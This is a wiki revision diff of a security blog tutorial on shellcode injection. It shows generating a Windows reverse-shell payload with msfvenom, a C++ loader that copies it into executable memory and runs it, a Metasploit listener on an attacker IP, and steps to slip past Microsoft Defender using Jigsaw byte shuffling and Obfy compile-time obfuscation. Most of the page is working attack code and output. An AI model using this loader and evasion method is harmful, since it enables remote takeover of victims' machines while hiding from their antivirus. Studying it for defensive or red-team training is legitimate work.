Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
en:it-security:blog:shellcode_injection-1 [2024/04/26 14:01] – removed psycore | en:it-security:blog:shellcode_injection-1 [2024/08/02 12:34] (current) – psycore | ||
---|---|---|---|
Line 1: | Line 1: | ||
+ | {{tag> | ||
+ | ====== Shellcode Injection Part 1 ====== | ||
+ | In this series of articles, we look at shellcode, how to inject it into processes and some techniques for obfuscating binary files. In the first part, we look at how to inject shellcode from a local process. ausführt. In addition, we disguise the program so that Defender no longer recognises it as a threat. | ||
+ | |||
+ | You can find all the required files in the [[en: | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Generate shellcode ===== | ||
+ | |||
+ | {{page> | ||
+ | |||
+ | {{it-security: | ||
+ | |||
+ | We generate the shellcode with '' | ||
+ | |||
+ | ^ Parameter ^ Description ^ | ||
+ | | -p - Payload | x86 Reverse Shell | | ||
+ | | LHOST | IP of the attacker | | ||
+ | | LPORT | Listening port of the attacker | | ||
+ | | -b - Bad Chars | We have to filter out special characters, as they make the shellcode unusable | | ||
+ | | -e - Encode Shellcode | We encode our shellcode | | ||
+ | | -i - Iterations | Specifies the number of encoding operations | | ||
+ | | -f - Format | The output should be in C format | | ||
+ | | > shell.c | Save to the file shell.c | | ||
+ | |||
+ | <code bash> | ||
+ | msfvenom -p windows/ | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== C++ Injector ===== | ||
+ | |||
+ | We create a new C++ project and insert the shellcode. We also need the size of the bytes. We take this from the '' | ||
+ | |||
+ | <file cpp local-process-injection.cpp> | ||
+ | #include < | ||
+ | #include < | ||
+ | |||
+ | //shell.c | ||
+ | unsigned const char payload[] = | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | |||
+ | //size is given by msfvenom after shellcode creation | ||
+ | size_t size = 540; | ||
+ | |||
+ | int main(int argc, char** argv) { | ||
+ | char* code; | ||
+ | printf("# | ||
+ | code = (char*)VirtualAlloc(NULL, | ||
+ | memcpy(code, | ||
+ | ((void(*)())code)(); | ||
+ | return(0); | ||
+ | } | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Analyse shellcode ==== | ||
+ | |||
+ | After compiling, we load '' | ||
+ | |||
+ | [{{it-security: | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Prepare Metasploit ==== | ||
+ | |||
+ | Now we start a handler in Metasploit that accepts the reverse shell. | ||
+ | |||
+ | <code ruby> | ||
+ | msf6 > use exploit/ | ||
+ | [*] Using configured payload generic/ | ||
+ | msf6 exploit(multi/ | ||
+ | lport => 445 | ||
+ | msf6 exploit(multi/ | ||
+ | lhost => 172.23.61.130 | ||
+ | msf6 exploit(multi/ | ||
+ | |||
+ | [*] Started reverse TCP handler on 172.23.61.130: | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Execute shellcode ==== | ||
+ | |||
+ | We now start '' | ||
+ | |||
+ | [{{it-security: | ||
+ | |||
+ | [{{it-security: | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Under the Defender radar ===== | ||
+ | |||
+ | '' | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Cloaking shellcode - Jigsaw ==== | ||
+ | |||
+ | First we create the shellcode in raw format: | ||
+ | |||
+ | <code bash> | ||
+ | msfvenom -p windows/ | ||
+ | </ | ||
+ | |||
+ | Then we pass this to Jigsaw: | ||
+ | |||
+ | <code dos> | ||
+ | python3 jigsaw.py shell.raw | ||
+ | </ | ||
+ | |||
+ | and get a file with C++ code. | ||
+ | |||
+ | <code c++> | ||
+ | unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a, | ||
+ | ... | ||
+ | 401, 459, 65, 118, 356, 42, 182, 220 }; | ||
+ | |||
+ | |||
+ | int calc_len = 540; | ||
+ | unsigned char calc_payload[540] = { 0x00 }; | ||
+ | int position; | ||
+ | |||
+ | // Reconstruct the payload | ||
+ | for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); | ||
+ | position = positions[idx]; | ||
+ | calc_payload[position] = jigsaw[idx]; | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | <file c++ Inject.cpp> | ||
+ | #include < | ||
+ | #include < | ||
+ | |||
+ | size_t size = 540; | ||
+ | |||
+ | unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a, 0xc5, 0xeb, 0x48, 0x11, 0xd8, 0x49, 0xf0, 0x93, 0x5b, 0xb9, 0x69, 0xf8, 0x73, 0x80, 0xe4, 0x3f, 0xa6, 0xa6, 0x3a, 0xf5, 0x56, 0x12, 0x7c, 0xe4, 0x72, 0xbb, 0x13, 0x5b, 0xc5, 0x40, 0xf0, 0x01, 0x6f, 0x0b, 0x35, 0xc2, 0x1c, 0x2d, 0x76, 0xeb, 0x9e, 0xd8, 0xd6, 0x39, 0x7c, 0x61, 0x7e, 0xc7, 0x16, 0x69, 0x0e, 0x1c, 0x78, 0xb0, 0xa3, 0x36, 0x5b, 0x6f, 0xbc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 0xa1, 0x80, 0x46, 0x65, 0x51, 0x4b, 0xca, 0xeb, 0xa4, 0x0c, 0xd9, 0x3c, 0xf4, 0x1e, 0x39, 0xd4, 0x87, 0x91, 0x91, 0xbd, 0x75, 0x24, 0x7a, 0x7b, 0x79, 0x25, 0x7e, 0x2d, 0xc9, 0xd4, 0x73, 0x47, 0x05, 0xe4, 0xed, 0x24, 0x10, 0xbe, 0x15, 0xa5, 0xb0, 0x3a, 0x43, 0x9e, 0xc3, 0xef, 0x5d, 0x57, 0xfe, 0xeb, 0x75, 0x85, 0x11, 0xe7, 0x50, 0xc7, 0x9c, 0x6f, 0xe1, 0x7b, 0x63, 0xcb, 0xbe, 0x17, 0xeb, 0x1e, 0x34, 0x91, 0xf9, 0x50, 0xe5, 0x28, 0x74, 0x9f, 0x3e, 0xe0, 0xe8, 0x83, 0x36, 0xc0, 0x08, 0xcd, 0x8f, 0xa7, 0xb8, 0x32, 0xf4, 0x01, 0x96, 0xd2 }; | ||
+ | |||
+ | int positions[540] = { 105, 216, 295, 137, 269, 55, 488, 354, 384, 2, 398, 471, 219, 72, 377, 123, 197, 188, 243, 161, 169, 79, 290, 454, 387, 527, 480, 412, 178, 329, 267, 441, 492, 416, 103, 196, 83, 275, 539, 26, 391, 125, 203, 59, 153, 76, 349, 402, 202, 142, 68, 1, 18, 288, 106, 62, 291, 281, 107, 365, 35, 223, 358, 117, 503, 427, 506, 181, 63, 408, 525, 176, 313, 23, 417, 311, 195, 89, 122, 522, 494, 170, 152, 20, 304, 227, 150, 29, 460, 319, 228, 312, 376, 36, 256, 24, 37, 320, 518, 514, 355, 443, 43, 64, 128, 483, 470, 462, 11, 224, 212, 75, 345, 465, 115, 110, 138, 380, 190, 333, 323, 501, 149, 455, 226, 209, 16, 361, 508, 54, 139, 232, 373, 370, 236, 207, 394, 238, 34, 532, 395, 531, 489, 177, 415, 453, 495, 155, 302, 318, 218, 330, 116, 242, 435, 346, 334, 154, 449, 475, 104, 464, 450, 292, 307, 126, 71, 482, 509, 258, 353, 348, 45, 372, 463, 485, 505, 414, 276, 86, 6, 298, 383, 347, 201, 409, 498, 478, 366, 331, 88, 134, 324, 95, 111, 397, 425, 51, 259, 315, 102, 22, 337, 237, 241, 82, 526, 444, 278, 120, 456, 273, 167, 419, 251, 484, 270, 423, 77, 211, 184, 375, 156, 473, 466, 15, 519, 407, 185, 92, 91, 523, 221, 49, 371, 338, 277, 516, 250, 143, 406, 147, 225, 515, 70, 252, 193, 367, 486, 504, 434, 440, 437, 350, 271, 282, 205, 166, 511, 248, 191, 404, 369, 279, 424, 336, 266, 90, 474, 533, 260, 389, 235, 151, 368, 457, 164, 436, 140, 468, 335, 386, 325, 213, 360, 41, 189, 538, 310, 200, 157, 421, 93, 287, 112, 280, 289, 528, 305, 73, 100, 231, 517, 165, 12, 136, 210, 496, 314, 244, 422, 58, 97, 426, 481, 96, 420, 530, 253, 439, 382, 309, 127, 46, 33, 113, 513, 390, 4, 222, 520, 27, 472, 284, 296, 192, 268, 21, 357, 306, 497, 130, 98, 163, 67, 80, 317, 467, 249, 99, 274, 493, 234, 438, 392, 217, 262, 19, 146, 160, 133, 124, 430, 114, 159, 186, 374, 174, 403, 411, 299, 447, 499, 158, 378, 148, 381, 458, 14, 78, 272, 264, 442, 109, 429, 255, 171, 246, 57, 162, 500, 535, 339, 198, 48, 84, 17, 145, 74, 431, 534, 294, 477, 461, 87, 206, 131, 328, 53, 388, 168, 293, 490, 359, 5, 362, 8, 129, 32, 239, 400, 510, 326, 183, 240, 405, 285, 173, 340, 135, 364, 50, 172, 537, 180, 132, 214, 141, 507, 47, 199, 343, 432, 108, 521, 229, 451, 28, 247, 101, 187, 303, 69, 418, 352, 342, 179, 265, 233, 61, 7, 31, 10, 263, 44, 283, 39, 410, 300, 0, 230, 9, 38, 445, 121, 119, 175, 399, 13, 208, 297, 479, 413, 81, 446, 316, 428, 452, 448, 385, 30, 322, 512, 487, 25, 286, 94, 66, 341, 476, 3, 351, 433, 469, 245, 52, 301, 396, 60, 40, 215, 332, 524, 344, 502, 363, 261, 491, 85, 536, 204, 308, 393, 529, 327, 254, 56, 321, 257, 194, 379, 144, 401, 459, 65, 118, 356, 42, 182, 220 }; | ||
+ | |||
+ | |||
+ | int calc_len = 540; | ||
+ | unsigned char calc_payload[540] = { 0x00 }; | ||
+ | int position; | ||
+ | |||
+ | int main(int argc, char** argv) { | ||
+ | |||
+ | char* code; | ||
+ | |||
+ | printf("# | ||
+ | |||
+ | // Reconstruct the payload | ||
+ | for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); | ||
+ | position = positions[idx]; | ||
+ | calc_payload[position] = jigsaw[idx]; | ||
+ | } | ||
+ | code = (char*)VirtualAlloc(NULL, | ||
+ | |||
+ | memcpy(code, | ||
+ | |||
+ | ((void(*)())code)(); | ||
+ | |||
+ | |||
+ | return(0); | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | However, Jigsaw alone is not enough at this point, as Defender still recognises the file. | ||
+ | |||
+ | {{it-security: | ||
+ | \\ | ||
+ | \\ | ||
+ | ==== Obfy - Obfuscation during compilation ==== | ||
+ | |||
+ | Here we can use the so-called template metaprogramming. Here, source code files are generated during the compilation process, which make the binary file look different with each process. ((https:// | ||
+ | |||
+ | To do this, we download [[https:// | ||
+ | |||
+ | <code c++ [enable_line_numbers=" | ||
+ | #include < | ||
+ | #include < | ||
+ | #include " | ||
+ | |||
+ | size_t size = 540; | ||
+ | |||
+ | unsigned char jigsaw[540] = { ... }; | ||
+ | |||
+ | int positions[540] = { ... }; | ||
+ | |||
+ | int calc_len = 540; | ||
+ | unsigned char calc_payload[540] = { 0x00 }; | ||
+ | int position; | ||
+ | |||
+ | int main(int argc, char** argv) { | ||
+ | |||
+ | char* code; | ||
+ | |||
+ | printf("# | ||
+ | |||
+ | // Reconstruct the payload | ||
+ | OBF_BEGIN | ||
+ | for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); | ||
+ | position = positions[idx]; | ||
+ | calc_payload[position] = jigsaw[idx]; | ||
+ | } | ||
+ | OBF_END | ||
+ | code = (char*)VirtualAlloc(NULL, | ||
+ | |||
+ | memcpy(code, | ||
+ | |||
+ | ((void(*)())code)(); | ||
+ | |||
+ | |||
+ | return(0); | ||
+ | } | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Result ===== | ||
+ | |||
+ | We compile our code and check with '' | ||
+ | |||
+ | [{{it-security: | ||
+ | |||
+ | [{{it-security: | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Repository ===== | ||
+ | |||
+ | <code bash> | ||
+ | git clone https:// | ||
+ | </ | ||
+ | \\ | ||
+ | \\ | ||
+ | ===== Outlook ===== | ||
+ | |||
+ | In part 2 we will deal with injecting the shellcode into a remote process. | ||
+ | \\ | ||
+ | \\ | ||
+ | |||
+ | ===== References ===== | ||
+ | |||
+ | * [[https:// | ||
+ | |||
+ | ~~DISCUSSION~~ |